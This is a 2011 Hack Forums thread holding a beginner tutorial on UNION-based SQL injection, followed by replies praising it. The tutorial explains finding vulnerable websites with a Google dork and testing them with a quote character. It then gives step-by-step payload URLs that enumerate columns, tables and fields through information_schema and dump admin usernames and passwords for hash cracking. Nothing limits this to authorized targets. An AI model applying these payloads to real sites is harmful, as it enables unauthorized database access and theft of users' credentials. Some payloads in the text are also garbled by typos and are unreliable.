![]() |
|
[TUT] Easy SQL Injection Tutorial [TUT] - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449) +---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43) +---- Thread: [TUT] Easy SQL Injection Tutorial [TUT] (/showthread.php?tid=1493889) Pages: Pages
1
2
|
[TUT] Easy SQL Injection Tutorial [TUT] - Chromosome - Jul 17, 2011 Hello My journey on HF will start with making an detailed TUT on SQL injection. I hope that you will enjoy it and post replays to this thread :) In this TUT I'm going to teach you how to get the: Admin/users info from database from an vulnerable site. Finding Admin Login Cracking The Hashes If any of you dont know what a database is: It's an collection of data.Website Database is used for storing user/admins ids,passwords,web page details and more. Ok Now We are going to start with the injection details What is SQL Injection? SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application (like queries). The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. Wikipedia Now we know roughly what we are going to do. Now Let's Start With Our SQL injection lesson Step 1: Finding Vulnerable Websites For This We Need Google Dorks: Google Dork is searching for vulnerable websites using the google search engine. Code inurl:index.php?id=Step 2: How To Use Google Dorks Copy one of the ab[/align]ove dorks and paste in the google search engine box. Hit enter. Step 3: Finding if the site is vulnerabil to our SQL We have to visit the websites one by one for checking the vulnerability. So just pick a site and then to check if the site is vul. add ' to the last number Code http://www.vultoSQL.com/news.php?id=9 'If the page remains in same or showing that page not found or showing some other webpages. Then it is not vulnerable :( You will have to try another site then. If it shows any errors which is related to sql query,then it is vulnerable. 😝 Example Code You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1Step 3: Finding Number of columns: Now we have found the website is vulnerable. Next step is to find the number of columns in the table. For that replace the single quotes(') with "order by number" statement. Change the number from 1,2,3,4,,5,6,...n. Until you get the error like "unknown column ". [i]For Example Code http://www.vultoSQL.com/news.php?id=9 [b]order by 1Sometime the above may not work! At that time add the "--" at the end of the statement.[/i] Example Code http://www.vultoSQL.com/news.php?id=-9 order by 5[b]--[/b]Step 4: Displaying the Vulnerable columns: Using "union select" we can find the vulnerable part of the table. Replace the "order by number" with this statement. And change the id value to negative(i mean id=-3,must change,but in some website may work without changing). Replace the colums with the number you got from order by number Example If the number of columns(order by) is 3 ,then the query is as follow: Code http://www.vultoSQL.com/news.php?id=-9 union all select 1,2,3--This Will Show Some Nubers In the page: Pic: Now select one number. In my case it's showing 2,3. Let's take the Number 3. Step 5: Finding version,database,user,admins Now replace the 3 from the query with "version()" Example http://www.vultoSQL.com/news.php?id=-9 and 1=2 union all select 1,2,version()-- Pic: It will show the version as 5.0.1 or 4.3. something like this. Now we have to Replace the version() with database() and user() for finding the database,user respectively. Example http://www.vultoSQL.com/news.php?id=-9 union all select 1,2,database(),4,5,6,7-- Pic: http://www.vultoSQL.com/news.php?id=-9 and 1=2 union select 1,2,user(),4,5,6,7-- Pic: Step 6: Finding the Table Name If the version is 5 or above. Then follow these steps. Now we have to find the table name of the database. Replace the 3 with "group_concat(table_name) and add the "from information_schema.tables where table_schema=database() in the end" Example http://www.vultoSQL.com/news.php?id=-9 union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- Pic: This will show the list of table names. Find the table name which is related with the admin or user. Now select any table that is simmilar with an user,admin,poweruser,... if the version is 4 or some others, you have to guess the table names. (user, tbluser). It is hard and bore to do sql inection with version 4. If So Try Havij For Help Step 7: Finding the Column Name Now replace the "group_concat(table_name) with the "group_concat(column_name)" Replace the "from information_schema.tables where table_schema=database()--" with "FROM information_schema.columns WHERE table_name=mysqlchar-- Now here we have some fun ,we have to convert the table name to MySql CHAR() string and replace mysqlchar with that . Find MysqlChar() for Tablename: First of all we are going to visit this site Ascii Number Converter Then enter the table name in the box, i found tbluser on the site witch is the closest to admin. Pic: Copy and paste the code at the end of the url instead of the "mysqlchar" For eg: http://www.vultoSQL.com/news.php?id=-9 union all select 1,2,group_concat(column_name) from information_schema.columns where table_name=CHAR(mysqlchar)-- P.s: You have to remove all the spaces beetwen those numbers and add , For Example (116,098,108,117,115,101,114) Now when the page loads it will show something like this: tbluser_id,tbluser_name,tbluser_surname,tbluser_sex,tbluser_home,tbluser_mobile,tbluser_office,tbluser_address,tblcountry_id,tbluser_username,tbluser_password... Now replace the group_concat(column_name) with group_concat(columnname,0x3a,anothercolumnname). Columnname should be replaced from the listed column name. anothercolumnname should be replace from the listed column name. Now replace the " from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)" with the "from table_name" Example http://www.vultoSQL.com/news.php?id=-9 1,2,group_concat(tbluse_username,0x3a,tbluser_pass) from tbluser-- Pleas Post to keep my first tut a live * - Infectory - Jul 17, 2011 Nice tutorial man, thanks ;) * - NA0S - Jul 17, 2011 Awesome, I've been meaning to learn this properly once and for all. Found this guide to be really helpfull. There are a few typo's but apart from that! 5 stars man! * - Example - Jul 17, 2011 I don't see how this is any better than all of the other SQLi tutorials on here. I can see you put some effort into this though, good job on at least trying to contribute to this dying community. * - asifali2000 - Jul 17, 2011 NICE tut best for nooobs,, * - mayee.28 - Jul 17, 2011 Nice one mate !!! Keep going !!! Have a happy hacking !!! 🎉🎉🎉 * - Chromosome - Jul 18, 2011 Thanks for all of your comments * - GreenEnergy - Jul 18, 2011 Nice tut man 4 posts and already a cool tut keep up the god work * - thethatguy - Jul 18, 2011 Nice thanks for sharing and taking the time and effort, the more tutorials there are the easier it is to find for any user old or new. * - conan_1 - Jul 18, 2011 Nice tut, but We need another syntaxes for sqli it's always the same so any one have another tuts with differents syntaxes please put them or send them to me in a pm. thanks! :) * - kobez - Jul 18, 2011 Good tutorial mate, will really show the basics to some of these users on HF attempting to learn SQL Injection. Thanks for the post. kobez * - bily1234567892 - May 26, 2015 Thanks for the big help this helped me a lot * - Despicabl3 - May 26, 2015 Thanks. this is helpful for beginners * - mokongpogi23 - May 27, 2015 thank you for this.. its kinda old but hope that this will still work * - Charmzi - May 27, 2015 Nice tut man 4 posts and already a cool tut keep up the god work |